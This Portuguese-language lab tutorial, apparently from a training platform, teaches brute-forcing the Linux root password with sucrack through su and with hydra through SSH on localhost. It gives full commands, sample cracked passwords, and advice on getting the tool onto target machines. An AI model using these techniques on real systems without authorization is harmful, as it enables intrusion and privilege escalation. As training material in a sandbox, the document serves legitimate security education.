Força Bruta da Senha Root no Linux com Sucrack e Hydra

Beginner

Introdução

Neste laboratório, exploraremos dois métodos e as ferramentas correspondentes para obter a senha do usuário root através de ataques de força bruta em sistemas Linux. O laboratório ajudará você a entender os princípios subjacentes e a evitar armadilhas comuns durante o processo.

Usando sucrack para Forçar a Senha Root via Comando su

Nesta etapa, aprenderemos como usar a ferramenta sucrack para forçar a senha do usuário root por força bruta através do comando su.

O comando su é usado para mudar para a identidade de outro usuário em sistemas Linux. Exceto para o usuário root, outros usuários precisam fornecer a senha do usuário alvo ao usar este comando.

A ferramenta que usaremos para forçar o comando su por força bruta é o sucrack. sucrack é uma ferramenta Linux multi-threaded projetada para forçar senhas de usuários locais por força bruta através do comando su.

Como o comando su requer entrada do usuário de um shell TTY, um script de shell simples não pode realizar o ataque de força bruta. sucrack é escrito em linguagem C e suporta multi-threading, tornando o processo de força bruta altamente eficiente.

Você pode verificar o site oficial do sucrack para mais informações.

Em um cenário do mundo real, a máquina alvo pode não ter acesso à internet, então você pode instalar o sucrack usando um dos dois métodos a seguir:

  • Baixe o código-fonte do sucrack e faça o upload para a máquina alvo, depois compile e execute-o.
  • Baixe o código-fonte do sucrack, compile-o localmente e, em seguida, faça o upload do binário compilado para a máquina alvo.

Neste laboratório, já instalamos o sucrack para você.

  1. Antes de tentar o ataque de força bruta, configuraremos o ambiente do laboratório:

    Abra um terminal e navegue até o diretório do projeto:

    cd /home/labex/project

    Execute o script env_setup_1.sh para configurar o ambiente do laboratório:

    ./env_setup_1.sh

    Este script nos muda para o usuário sem privilégios www-data. Nosso objetivo é obter a senha do usuário root através de "força bruta" (brute force).

    Temos uma lista de palavras pré-preparada em /tmp/common-wordlists.txt para fins de demonstração. Você também pode usar sua própria lista de palavras.

  2. A sintaxe para atacar o comando su por força bruta usando sucrack é:

    sucrack -w <threads> [-u <username>] <wordlist>

    Os parâmetros são:

    • -w: Especifica o número de threads
    • <wordlist>: Especifica o arquivo da lista de palavras
    • -u: Especifica o nome de usuário para forçar por força bruta. Se você não especificar um nome de usuário, o sucrack forçará a senha do usuário root por padrão.

    Vamos tentar a força bruta executando o seguinte comando:

    sucrack -w 20 /tmp/common-wordlists.txt > ~/sucrack.log && reset

    A saída do ataque de força bruta é redirecionada para o arquivo sucrack.log.

    Nota: O comando reset é usado para limpar a tela do terminal porque, às vezes, após usar sucrack, o terminal pode não exibir corretamente.

  3. Este ataque de força bruta pode levar algum tempo. Depois de algum tempo, verifique o arquivo sucrack.log para confirmar a senha:

    cat ~/sucrack.log

    Saída esperada:

    password is: really
  4. Em seguida, podemos mudar para o usuário root usando:

    su - root

    Digite a senha really para mudar para o usuário root.

    really
  5. Crie um arquivo chamado success_1.txt no diretório /root para confirmar que você mudou com sucesso para o usuário root:

    echo "Success_1" > /root/success_1.txt

    Você pode verificar o arquivo /root/success_1.txt para confirmar que você mudou com sucesso para o usuário root.

Você aprendeu como usar o sucrack para forçar a senha do usuário root por força bruta!

Usando Hydra para Forçar a Senha Root via SSH

Nesta etapa, aprenderemos como usar a ferramenta hydra para forçar a senha do usuário root através do protocolo SSH.

Com a etapa anterior, ainda devemos ser o usuário root, e para esta etapa precisamos mudar para o usuário labex. Você pode mudar para o usuário labex executando o seguinte comando:

su - labex
  1. Certifique-se de que o diretório está definido para /home/labex/project:

    cd /home/labex/project

    Execute o script env_setup_2.sh para configurar o ambiente do laboratório:

    ./env_setup_2.sh

    Assim como na etapa anterior, após executar este script, você mudará para o usuário www-data.

  2. Antes de tentar forçar o protocolo SSH por força bruta, precisamos verificar se a máquina alvo permite que o usuário root faça login via SSH. Você pode verificar isso executando o seguinte comando:

    cat /etc/ssh/sshd_config | grep -i permitrootlogin

    Se a saída mostrar PermitRootLogin definido como yes, então podemos prosseguir com o ataque de força bruta. Caso contrário, não há necessidade de tentar.

  3. A ferramenta que usaremos para forçar o protocolo SSH por força bruta é o hydra. hydra é uma ferramenta de força bruta renomada que suporta vários protocolos, incluindo RDP, SMB, HTTP, MySQL e muito mais. hydra está pré-instalado no Kali Linux e no ambiente Ubuntu do nosso laboratório.

    A sintaxe para forçar o protocolo SSH por força bruta usando hydra é:

    hydra -l root -P passwords.txt -t 4 -V < IP > ssh

    Os parâmetros são:

    • -l: Especifica o nome de usuário
    • -P: Especifica o arquivo da lista de palavras
    • -t: Especifica o número de threads
    • -V: Exibe o progresso e os detalhes do ataque de força bruta

    Vamos tentar forçar a senha do usuário root por força bruta usando a lista de palavras /tmp/common-wordlists.txt e salvar a saída no arquivo hydra.log:

    hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh > ~/hydra.log

    Depois de algum tempo, a senha do usuário root é crackeada com sucesso.

    Verifique o arquivo hydra.log para confirmar a senha:

    cat ~/hydra.log

    Exemplo de saída:

    ...
    [22][ssh] host: 127.0.0.1   login: root   password: penguin
    1 of 1 target successfully completed, 1 valid password found
    ...
  4. Agora que temos a senha do usuário root, podemos mudar para o usuário root executando o seguinte comando:

    su - root

    Digite a senha penguin para mudar para o usuário root.

    penguin

    Você agora deve ser o usuário root. Você pode confirmar isso executando o seguinte comando:

    whoami

    A saída deve ser root.

  5. Crie um arquivo chamado success_2.txt no diretório /root para confirmar que você mudou com sucesso para o usuário root:

    echo "Success_2" > /root/success_2.txt

    Você pode verificar o arquivo /root/success_2.txt para confirmar que você mudou com sucesso para o usuário root.

Observação: Se você estiver usando uma versão do hydra anterior à v9.0, ela pode relatar falsos positivos ao forçar o protocolo SSH por força bruta. Você pode verificar a versão do hydra executando hydra -v.

Resumo

Neste laboratório, aprendemos dois métodos para forçar a senha do usuário root em sistemas Linux por força bruta: via comando su usando a ferramenta sucrack e via protocolo SSH usando a ferramenta hydra. Cobrimos a instalação, o uso e os procedimentos passo a passo para cada método, ajudando você a entender os princípios subjacentes e evitar armadilhas comuns. Este laboratório oferece valiosa experiência prática em técnicas de escalonamento de privilégios, que podem ser aplicadas em vários cenários.